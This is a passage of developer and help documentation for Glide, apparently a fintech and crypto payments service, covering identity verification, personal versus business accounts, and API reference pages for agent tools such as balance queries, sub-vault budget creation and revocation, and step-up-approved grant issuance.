# Identity verification
Source: https://glide-9da73dea.mintlify.app/accounts/identity
Complete, continue or restart the identity checks required for your account.
Glide uses partner verification services for the checks required to access fiat receiving details, bank payouts and card issuance. Glide is a fintech company, not a bank or a licensed money transmitter.
Crypto deposits can be available before identity verification. Follow the requirements shown for each service; access to one feature does not establish eligibility for every feature.
## What to prepare
For a personal account, follow the provider's prompts for your legal name, date of birth, residence, government-issued ID and selfie. A business application also asks for entity information and the relevant owners or controllers.
Use accurate details and clear, uncropped photos. The provider may request additional documents or information.
## Continue or restart verification
Open **Identity verification** from your profile. If a check is incomplete, use the action shown to continue it.
If a session is stuck, expired or rejected, **Restart from the beginning** lets you begin the document flow again. Approved checks and suspended or closed accounts cannot use this restart path. If no action is available, contact [hi@glide.co](mailto:hi@glide.co).
## Review time and results
Review time varies by provider and application. Check the status in Glide and complete any requested follow-up. An in-progress or review status does not mean the account has been approved.
## Your data
Identity information is used for verification and compliance checks. See [Data and privacy](/security/data-privacy) and the [KYC/AML & Privacy Policy](https://glide.co/privacy) for how your data is handled.
## Next
* [Eligibility](/eligibility)
* [KYC and AML](/security/kyc-aml)
* [Deposits](/money/deposits)
# Your Glide account
Source: https://glide-9da73dea.mintlify.app/accounts/overview
Understand your balances, receiving details, profile and settings.
Your personal Glide account brings your wallet, bank receiving details and payment activity into one place.
## Balances and receiving details
Personal crypto balances use your verified Privy embedded EVM and Solana wallets. Deposits, wallet sends, swaps and wallet-funded bank payouts use those wallets. Opening a personal account does not create or select a treasury vault.
Bank receiving details come from Noah:
| Currency | Receiving method | Details to use |
| -------- | ---------------- | -------------------------------------------------------------------------------------- |
| USD | ACH / wire | The account number, routing number, account-holder name and reference shown in the app |
| EUR | SEPA | The IBAN, BIC, account-holder name and reference shown in the app |
Copy the live instructions from **Add money** before transferring. A currency balance or catalogue entry does not mean local bank details are available for that currency.
If you received a partner payout, **Glide balance** shows that credit separately from your on-chain wallet balance. Use the conversion and withdrawal actions offered for that balance. See [Send money](/money/send#send-from-a-glide-balance).
## Your profile hub
Open your avatar to reach your profile. The hub groups your account information, settings and actions:
* **Inbox:** notifications for your account.
* **Statements and reports:** monthly activity and, on web, PDF downloads.
* **Personal details:** open a detail to edit your name or phone number. Your email remains your sign-in identifier.
* **Identity verification:** continue the identity checks required for your account.
* **Security and privacy:** request a wallet backup and open the privacy policy.
* **Account preferences:** view the app appearance and device time zone.
* **Other accounts:** switch accounts or choose **Create a Business Account**.
Updating a phone number in your profile does not verify it as a payment identity. Phone payments require a uniquely matched, verified identity.
## Mobile navigation
The mobile app has **Home**, **Pay**, **Swap**, and **Recipients** tabs. Your avatar opens the profile hub. Statements and security are available from the profile rather than a separate bottom tab.
## Next
* [Personal vs business](/accounts/personal-vs-business)
* [Deposits](/money/deposits)
* [Statements](/money/statements)
* [Wallet backup](/security/two-factor#wallet-backup)
# Personal vs business
Source: https://glide-9da73dea.mintlify.app/accounts/personal-vs-business
Choose a personal account for your own funds or a business account for company funds and team controls.
Choose the account type that matches whose money you manage.
## Personal account
Use a personal account for your own money, including freelance income and payments to friends or family.
Your verified Privy embedded wallets hold your personal crypto balances and sign your wallet transactions. Personal deposits, sends, swaps and wallet-funded bank payouts use these wallets. Glide does not automatically create or select a personal treasury vault.
## Business account
Use a business account for company funds, team access, payroll and treasury operations. Business verification covers the entity and the people required by the verification provider.
Business vaults and their approval controls are unchanged in v0.35. Treasury uses Safe on EVM and Squads on Solana. Keep the correct business entity selected when managing its funds.
See [Business](/business/index) for entity setup, team roles and operations.
## Add or switch accounts
Open your profile and use **Other accounts** to switch context. Choose **Create a Business Account** to set up a company account.
Creating or switching to a business account does not automatically move funds out of your personal wallet. Historical wallets and recovery records are preserved.
## Pricing and availability
Review [pricing](https://glide.co/pricing) and the quote shown for your transaction. Available services depend on your account, verification and partner access.
## Next
* [Account overview](/accounts/overview)
* [Identity verification](/accounts/identity)
* [Where your money sits](/security/segregated-banking)
# accounts.balance
Source: https://glide-9da73dea.mintlify.app/agents/api/accounts-balance
Per-chain, per-token balance of the agent vault. Amounts returned in both cents (USD-normalized via current FX where applicable) and native units.
Per-chain, per-token balance of the agent vault. Amounts returned in both cents (USD-normalized via current FX where applicable) and native units.
## Metadata
| Field | Value |
| ------------------------ | ------------------ |
| Name | `accounts.balance` |
| Category | `read` |
| Required scope | `accounts:read` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | --------------- |
| Title | Account Balance |
| Read-only | yes |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"vault_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"chain": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
},
"token": {
"type": "string",
"minLength": 1
}
},
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"balances": {
"type": "array",
"items": {
"type": "object",
"properties": {
"chain": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
},
"token": {
"type": "string"
},
"amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"native_unit_value": {
"type": "string"
},
"usd_equivalent_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
}
},
"required": [
"chain",
"token",
"amount_cents",
"native_unit_value"
],
"additionalProperties": false
}
},
"fetched_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"balances",
"fetched_at"
],
"additionalProperties": false
}
```
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/read \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "accounts.balance",
"params": {
"vault_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"chain": "base",
"token": "USDC"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('read', 'accounts.balance', {
vault_id: 'a1b2c3d4-e5f6-7890-abcd-ef1234567890',
chain: 'base',
token: 'USDC',
});
console.log(result);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("read", "accounts.balance", {
"vault_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"chain": "base",
"token": "USDC",
})
print(result)
```
## Response examples
Successful response — all chains when no filter applied:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"balances": [
{
"chain": "base",
"token": "USDC",
"amount_cents": 250000,
"native_unit_value": "2500.000000",
"usd_equivalent_cents": 250000
},
{
"chain": "sol",
"token": "USDC",
"amount_cents": 75000,
"native_unit_value": "750.000000",
"usd_equivalent_cents": 75000
},
{
"chain": "eth",
"token": "ETH",
"amount_cents": 312480,
"native_unit_value": "0.125000",
"usd_equivalent_cents": 312480
}
],
"fetched_at": "2026-05-04T12:00:00Z"
}
}
```
Error — vault ID not in grant audience:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "vault_id not in grant audience",
"data": {
"reason_id": "vault_not_in_audience"
}
}
}
```
Error — missing or expired grant token:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32001,
"message": "grant token missing or expired",
"data": {
"reason_id": "token_expired"
}
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ------------------ | -------------------------------------------------------------------------------- | ------------------------------------------ |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `chain` is not one of the allowed enum values, or `vault_id` is not a valid UUID | Validate against schema before call |
| `-32000` | Unauthenticated | Missing `Authorization` header | Supply a valid `Bearer` token |
| `-32001` | Unauthorized | Grant token expired or revoked | Refresh token via `agent.grant.refresh` |
| `-32002` | Insufficient scope | Grant missing `accounts:read` scope | Issue new grant with `accounts:read` scope |
| `-32603` | Internal error | Server-side error | Retry with backoff; contact support |
## Auth
Caller's grant must include the `accounts:read` scope. Grants whose scope set is a superset of the required scope are accepted.
# accounts.list
Source: https://glide-9da73dea.mintlify.app/agents/api/accounts-list
List the accounts this agent can operate on.
List the accounts this agent can operate on. Scoped strictly to the grant's aud.vault\_id — a sibling agent's vault is never visible even if under the same principal.
## Metadata
| Field | Value |
| ------------------------ | --------------- |
| Name | `accounts.list` |
| Category | `read` |
| Required scope | `accounts:read` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ------------- |
| Title | List Accounts |
| Read-only | yes |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {},
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"accounts": {
"type": "array",
"items": {
"type": "object",
"properties": {
"vault_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"display_name": {
"type": "string"
},
"chain_ids": {
"type": "array",
"items": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
}
},
"policy_version": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"status": {
"type": "string",
"enum": [
"active",
"throttled",
"frozen",
"sweep_to_parent",
"revoked"
]
}
},
"required": [
"vault_id",
"display_name",
"chain_ids",
"policy_version",
"status"
],
"additionalProperties": false
}
},
"fetched_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"accounts",
"fetched_at"
],
"additionalProperties": false
}
```
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/read \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "accounts.list",
"params": {}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('read', 'accounts.list', {});
console.log(result);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("read", "accounts.list", {})
print(result)
```
## Response examples
Successful response:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"accounts": [
{
"vault_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"display_name": "Acme Corp Treasury",
"chain_ids": ["eth", "base", "sol"],
"policy_version": 3,
"status": "active"
},
{
"vault_id": "b2c3d4e5-f6a7-8901-bcde-f12345678901",
"display_name": "Acme Corp Payroll",
"chain_ids": ["sol"],
"policy_version": 1,
"status": "active"
}
],
"fetched_at": "2026-05-04T12:00:00Z"
}
}
```
Error — missing or expired grant token:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32001,
"message": "grant token missing or expired",
"data": {
"reason_id": "token_expired"
}
}
}
```
Error — grant is missing the required scope:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32002,
"message": "grant does not include accounts:read scope",
"data": {
"reason_id": "insufficient_scope"
}
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ------------------ | ----------------------------------- | ------------------------------------------ |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | Params don't match input schema | Validate against schema before call |
| `-32000` | Unauthenticated | Missing `Authorization` header | Supply a valid `Bearer` token |
| `-32001` | Unauthorized | Grant token expired or revoked | Refresh token via `agent.grant.refresh` |
| `-32002` | Insufficient scope | Grant missing `accounts:read` scope | Issue new grant with `accounts:read` scope |
| `-32603` | Internal error | Server-side error | Retry with backoff; contact support |
## Auth
Caller's grant must include the `accounts:read` scope. Grants whose scope set is a superset of the required scope are accepted.
# agent.budget.create
Source: https://glide-9da73dea.mintlify.app/agents/api/agent-budget-create
Spawn a child agent with a scoped multisig sub-vault and a policy envelope.
Spawn a child agent with a scoped multisig sub-vault and a policy envelope. The operation depends on the configured provisioning saga. Check whether the result is `draft` or `active`; a failure does not establish that every partial resource has been removed.
## Metadata
| Field | Value |
| ------------------------ | --------------------- |
| Name | `agent.budget.create` |
| Category | `treasury` |
| Required scope | `agent:budget:create` |
| Idempotency key required | yes |
## Annotations
| Annotation | Value |
| ----------------------- | ------------------- |
| Title | Create Agent Budget |
| Read-only | no |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | yes (step-up) |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"purpose": {
"type": "string",
"enum": [
"ap",
"treasury",
"trip",
"market-research",
"payroll",
"multi-chain-concierge",
"custom"
]
},
"display_name": {
"type": "string",
"minLength": 1,
"maxLength": 100
},
"amount_cap_cents_per_tx": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"amount_cap_cents_per_day": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"amount_cap_cents_lifetime": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"step_up_amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"chain_allowlist": {
"minItems": 1,
"type": "array",
"items": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
}
},
"time_window_end": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"idempotency_key": {
"type": "string",
"minLength": 8,
"maxLength": 128
}
},
"required": [
"purpose",
"display_name",
"chain_allowlist",
"idempotency_key"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"agent_principal_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"vault_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"policy_version": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"status": {
"type": "string",
"enum": [
"draft",
"active"
]
},
"created_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"agent_principal_id",
"vault_id",
"policy_version",
"status",
"created_at"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `agent:budget:create` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/treasury \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "agent.budget.create",
"params": {
"purpose": "ap",
"display_name": "Accounts Payable Agent — Q3 2026",
"amount_cap_cents_per_tx": 250000,
"amount_cap_cents_per_day": 1000000,
"amount_cap_cents_lifetime": 5000000,
"step_up_amount_cents": 100000,
"chain_allowlist": ["base", "eth"],
"idempotency_key": "ap-agent-q3-2026-bootstrap-001"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('treasury', 'agent.budget.create', {
purpose: 'ap',
display_name: 'Accounts Payable Agent — Q3 2026',
amount_cap_cents_per_tx: 250000,
amount_cap_cents_per_day: 1000000,
amount_cap_cents_lifetime: 5000000,
step_up_amount_cents: 100000,
chain_allowlist: ['base', 'eth'],
idempotency_key: 'ap-agent-q3-2026-bootstrap-001',
});
console.log(result);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("treasury", "agent.budget.create", {
"purpose": "ap",
"display_name": "Accounts Payable Agent — Q3 2026",
"amount_cap_cents_per_tx": 250000,
"amount_cap_cents_per_day": 1000000,
"amount_cap_cents_lifetime": 5000000,
"step_up_amount_cents": 100000,
"chain_allowlist": ["base", "eth"],
"idempotency_key": "ap-agent-q3-2026-bootstrap-001",
})
print(result)
```
## Response examples
Success — agent provisioned and active:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"agent_principal_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"vault_id": "b2c3d4e5-f6a7-8901-bcde-f12345678901",
"policy_version": 1,
"status": "active",
"created_at": "2026-05-04T10:30:00Z"
}
}
```
Saga still in-flight (poll until `status: "active"`):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"agent_principal_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"vault_id": "b2c3d4e5-f6a7-8901-bcde-f12345678901",
"policy_version": 0,
"status": "draft",
"created_at": "2026-05-04T10:30:00Z"
}
}
```
Insufficient scope:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32001,
"message": "grant does not include scope agent:budget:create",
"data": { "reason_id": "insufficient_scope" }
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ---------------- | --------------------------------------------------------- | ----------------------------------------------------- |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | Missing required field or enum value out of range | Validate against the input schema before calling |
| `-32001` | Unauthorized | Missing or expired grant token | Refresh via `agent.grant.refresh` |
| `-32002` | Policy denied | Grant missing `agent:budget:create` scope | Issue a new grant with the required scope |
| `-32004` | Rate limited | Too many saga starts in a short window | Back off by `retry_after_seconds` in the error `data` |
| `-32005` | Vault contention | Parent vault already involved in another saga | Retry with exponential backoff |
| `-32603` | Internal error | Saga step failed; inspect provisioning and cleanup status | Retry with the same `idempotency_key` |
# agent.budget.revoke
Source: https://glide-9da73dea.mintlify.app/agents/api/agent-budget-revoke
Revoke a child agent and optionally request a sweep to its parent treasury.
Revoke a child agent and optionally request a sweep to its parent treasury. Revocation is terminal; spawn a new agent via agent.budget.create to re-provision.
`auto_sweep` defaults to true and is passed to the configured revocation saga. Check `sweep_plan_queued` and the resulting transfer status; a queued plan does not establish that the funds reached the parent.
## Metadata
| Field | Value |
| ------------------------ | --------------------- |
| Name | `agent.budget.revoke` |
| Category | `treasury` |
| Required scope | `agent:budget:revoke` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ------------------- |
| Title | Revoke Agent Budget |
| Read-only | no |
| Destructive | yes |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"agent_principal_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"auto_sweep": {
"default": true,
"type": "boolean"
},
"reason": {
"default": "user_request",
"type": "string",
"enum": [
"user_request",
"anomaly",
"admin_kill_switch",
"expired",
"migration"
]
}
},
"required": [
"agent_principal_id",
"auto_sweep",
"reason"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"agent_principal_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"revoked_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"grants_revoked": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"sweep_plan_queued": {
"type": "boolean"
}
},
"required": [
"agent_principal_id",
"revoked_at",
"grants_revoked",
"sweep_plan_queued"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `agent:budget:revoke` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/treasury \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "agent.budget.revoke",
"params": {
"agent_principal_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"auto_sweep": true,
"reason": "user_request"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('treasury', 'agent.budget.revoke', {
agent_principal_id: 'a1b2c3d4-e5f6-7890-abcd-ef1234567890',
auto_sweep: true,
reason: 'user_request',
});
console.log(result);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("treasury", "agent.budget.revoke", {
"agent_principal_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"auto_sweep": True,
"reason": "user_request",
})
print(result)
```
## Response examples
Success — agent revoked and sweep queued:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"agent_principal_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"revoked_at": "2026-05-04T11:00:00Z",
"grants_revoked": 3,
"sweep_plan_queued": true
}
}
```
Agent already revoked (idempotent re-call):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "agent a1b2c3d4-e5f6-7890-abcd-ef1234567890 was already revoked",
"data": { "reason_id": "already_revoked" }
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | --------------- | ------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `agent_principal_id` not a valid UUID, or agent was already revoked | Check `reason_id` — `already_revoked` means a prior call succeeded |
| `-32001` | Unauthorized | Grant belongs to a different tenant than the target agent | Confirm `agent_principal_id` was created by the calling entity |
| `-32002` | Policy denied | Grant missing `agent:budget:revoke` scope | Issue a new grant with the required scope |
| `-32603` | Internal error | Sweep-plan write failed; agent row is revoked but sweep may need manual trigger | Check `sweep_plan_queued` in a retry response |
# agent.grant.issue
Source: https://glide-9da73dea.mintlify.app/agents/api/agent-grant-issue
Issue a new bearer grant for this agent with a narrowed scope set; always requires principal step-up before the token is returned.
Issue a new bearer grant for this agent with a narrowed scope set. Always requires principal step-up — the first call returns a step-up URL; the second call (with the redeemed sigil) issues the grant.
## Metadata
| Field | Value |
| ------------------------ | --------------------- |
| Name | `agent.grant.issue` |
| Category | `treasury` |
| Required scope | `agent:budget:create` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ------------- |
| Title | Issue Grant |
| Read-only | no |
| Destructive | no |
| Idempotent | no |
| Open-world | no |
| Requires human approval | yes (step-up) |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"scope": {
"minItems": 1,
"type": "array",
"items": {
"type": "string",
"enum": [
"accounts:read",
"agents:read",
"payments:initiate",
"payments:simulate",
"cards:manage",
"agent:budget:create",
"agent:budget:revoke",
"beneficiary:read",
"beneficiary:write",
"kyc:start",
"x402:pay",
"x402:receive",
"audit:stream",
"treasury:rotate-signer",
"treasury:yield-allocate"
]
}
},
"ttl_seconds": {
"type": "integer",
"exclusiveMinimum": 0,
"maximum": 3600
},
"step_up_sigil": {
"type": "string",
"minLength": 1
}
},
"required": [
"scope",
"ttl_seconds"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"grant_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"bearer_token": {
"type": "string",
"minLength": 1
},
"expires_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"scope": {
"type": "array",
"items": {
"type": "string",
"enum": [
"accounts:read",
"agents:read",
"payments:initiate",
"payments:simulate",
"cards:manage",
"agent:budget:create",
"agent:budget:revoke",
"beneficiary:read",
"beneficiary:write",
"kyc:start",
"x402:pay",
"x402:receive",
"audit:stream",
"treasury:rotate-signer",
"treasury:yield-allocate"
]
}
},
"policy_version": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
}
},
"required": [
"grant_id",
"bearer_token",
"expires_at",
"scope",
"policy_version"
],
"additionalProperties": false
}
```
## Request examples
This tool always requires a two-call pattern. The first call (without `step_up_sigil`) returns `-32003` with a `step_up_url`. After the principal completes approval, the second call supplies the redeemed `step_up_sigil` and receives the new grant.
```bash curl theme={null}
# Step 1 — trigger step-up (no sigil)
curl -X POST https://mcp.glide.co/mcp/treasury \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "agent.grant.issue",
"params": {
"scope": ["accounts:read", "payments:initiate"],
"ttl_seconds": 3600
}
}'
# → error -32003 with step_up_url + sigil in data
# Redirect principal to step_up_url, collect the redeemed sigil
# Step 2 — supply redeemed sigil
curl -X POST https://mcp.glide.co/mcp/treasury \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 2,
"method": "agent.grant.issue",
"params": {
"scope": ["accounts:read", "payments:initiate"],
"ttl_seconds": 3600,
"step_up_sigil": "su_01HWXYZ_abc123def456"
}
}'
```
